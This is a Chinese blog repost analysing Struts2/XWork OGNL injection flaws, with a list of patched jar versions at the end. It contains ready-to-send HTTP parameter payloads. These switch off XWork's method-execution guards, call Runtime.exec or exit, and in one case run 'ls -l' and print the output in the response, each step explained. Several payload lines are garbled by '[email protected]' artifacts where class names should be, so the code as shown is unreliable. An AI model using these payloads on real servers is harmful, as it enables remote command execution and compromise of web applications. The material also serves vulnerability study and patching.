struts2之遠程執行

Struts2的核心是使用的webwork框架,而webwork又是使用的XWork來處理action的,並且通過調用底層的getter/setter方法來處理http的參數,它將每個http參數聲明爲一個ONGL(這裏是ONGL的介紹)語句。當我們提交一個http參數:

user.address.city=Bishkek&user['favoriteDrink']=kumys

ONGL將它轉換爲:

action.getUser().getAddress().setCity("Bishkek")

action.getUser().setFavoriteDrink("kumys")

這是通過ParametersInterceptor(參數過濾器)來執行的,使用用戶提供的HTTP參數調用ValueStack.setValue()。

除了支持參數的設置和讀取,ONGL支持另外的一些功能:

  • 調用方法:foo()
  • 調用靜態方法:@java.lang.System@exit(1)
  • 類的調用:new MyClass()
  • 處理上下文變量:#foo = new MyClass()

由於ONGL的調用可以通過http傳參來執行,爲了防止攻擊者以此來調用任意方法,Xwork設置了兩個參數來進行防護:

  • OgnlContext的屬性 'xwork.MethodAccessor.denyMethodExecution'(默認爲真)
  • SecurityMemberAccess私有字段 'allowStaticMethodAccess'(默認爲假)

爲方便開發人員經常訪問各種對象,XWork定義了很多預定義的上下文變量:

  • #application
  • #session
  • #request
  • #parameters
  • #attr

這些變量代表各種服務器變量。爲了防止攻擊者篡改服務器端對象,XWork的ParametersInterceptor是不允許參數名稱中有#的,大約在一年前,漏洞發現者找到了一種方法來繞過這種保護(XW-641),即通過java的unicode字符串來表示:\u0023。當時感覺通過一種方法(OGNL value stack clearing)來修補是不夠的,但是沒有更多的時間來研究。

今年早些時候,漏洞發現者又發現了一些Xwork的一些預定義的變量:

  • #context - 這個方法的能否被調用是基於OgnlContext的 'xwork.MethodAccessor.denyMethodExecution' 屬性的值
  • #_memberAccess - SecurityMemberAccess的'allowStaticAccess' 字段用來防止靜態方法的執行
  • #root
  •  #this
  • #_typeResolver
  • #_classResolver
  •  #_traceEvaluations
  • #_lastEvaluation
  •  #_keepLastEvaluation

使用XW-641所描述的方法,漏洞發現者通過修改一些值能夠調用被保護的Java代碼,並且執行任意的Java代碼:

#_memberAccess['allowStaticMethodAccess'] = true
#foo = new java .lang.Boolean("false")
#context['xwork.MethodAccessor.denyMethodExecution'] = #foo
#rt = @java.lang.Runtime@getRuntime()
#rt.exec('mkdir /tmp/PWNED')

事實證明通過構造http請求能夠調用該OGNL的表達式。這個漏洞的PoC於2010年7月12日發佈。如果想測試你的應用程序是否有漏洞,可以使用下面的測試代碼,將會調用:java.lang.Runtime.getRuntime().exit(1)

('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exit(1)')(\u0023rt\[email protected]@getRuntime()))=1



轉載之二:

Struts 2是在struts 和WebWork的技術基礎上進行了合併的全新的框架。其全新的Struts 2的體系結構與Struts 1的體系結構的差別巨大。Struts 2以WebWork爲核心,採用攔截器的機制來處理用戶的請求,這樣的設計也使得業務邏輯控制器能夠與Servlet API完全脫離開,所以Struts 2可以理解爲WebWork的更新產品.
 
近期Struts2爆發了一遠程命令執行漏洞,,各種版本的漏洞利用工具讓CNVD非常的蛋疼.下面貼出 livers大大針對此漏洞的分析.
 
以POST的方式提交繞過對輸入參數的部分過濾。
 
('\43_memberAccess.allowStaticMethodAccess')(a)=true&(b)(('\43context[\'xwork.MethodAccessor.denyMethodExecution\']\75false')(b))&('\43c')(('\43_memberAccess.excludeProperties\[email protected]@EMPTY_SET')(c))&(d)(('@java.lang.Thread@sleep(8000)')(d))
當前線程sleep 8S
命令執行主要是通過ognl對象的上下文內置靜態函數進行執行的。
如@Runtime@getRuntime().exec
@class@method 訪問靜態方法
xwork 的ognl語句 執行,變量必須要帶有#,之前通過\0023 (16進制的#) 來繞過,官方補丁屏蔽了這種但是可以利用\43(8進制的#)進行繞過。
 
實現交互的shell. www.2cto.com
('\43_memberAccess.allowStaticMethodAccess')(a)=true&(b)(('\43context[\'xwork.MethodAccessor.denyMethodExecution\']\75false')(b))&('\43c')(('\43_memberAccess.excludeProperties\[email protected]@EMPTY_SET')(c))&(g)(('\43mycmd\75\'ls\40\u002dl\'')(d))&(h)(('\43myret\[email protected]@getRuntime().exec(\43mycmd)')(d))&(i)(('\43mydat\75new\40java.io.DataInputStream(\43myret.getInputStream())')(d))&(j)(('\43myres\75new\40byte[51020]')(d))&(k)(('\43mydat.readFully(\43myres)')(d))&(l)(('\43mystr\75new\40java.lang.String(\43myres)')(d))&(m)(('\43myout\[email protected]@getResponse()')(d))&(n)(('\43myout.getWriter().println(\43mystr)')(d))
 
\75 (=的8進制)\40(空格的8進制)ongl語句中執行的參數不允許出現空格。當然包括其他
老版本的正則 是^#=:都不允許,通殺的話是用\40來替代。
 
這樣上面就是
1.設置上下文denyMethodExecution=false 運行方法執行
[email protected]@EMPTY_SET (@class@調用靜態變量)
設置外部攔截器爲空
3.mycmd=“ls -l” 定義我們的執行命令的變量
[email protected]@getRuntime().exec(\43mycmd)') (調用靜態方法執行我們的變量)
5.mydat=new java.io.DataInputStream(\43myret.getInputStream())') 獲取輸入流(post)
6.myres=new data[51020];mydat.readfully(myres); 讀取輸入流
(5,6爲了轉換輸入流的類型)
7.mystr=new java.lang.String(#myres) ;定義並賦值輸入流
8.myout=org.apache.struts2.ServletActionContext@getResponse() ;得到repsonse的數據
9.myout.getWriter().println(#mystr) ;把response的數據打印到屏幕上。


commons-lang3-3.1.jar        (保留commons-lang-2.6.jar)
javassist-3.11.0.GA.jar        (新加包)
ognl-3.0.5.jar            (替換舊版本)
struts2-core-2.3.4.1.jar    (替換舊版本)
xwork-core-2.3.4.1.jar        (替換舊版本)

發佈了74 篇原創文章 · 獲贊 3 · 訪問量 23萬+
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章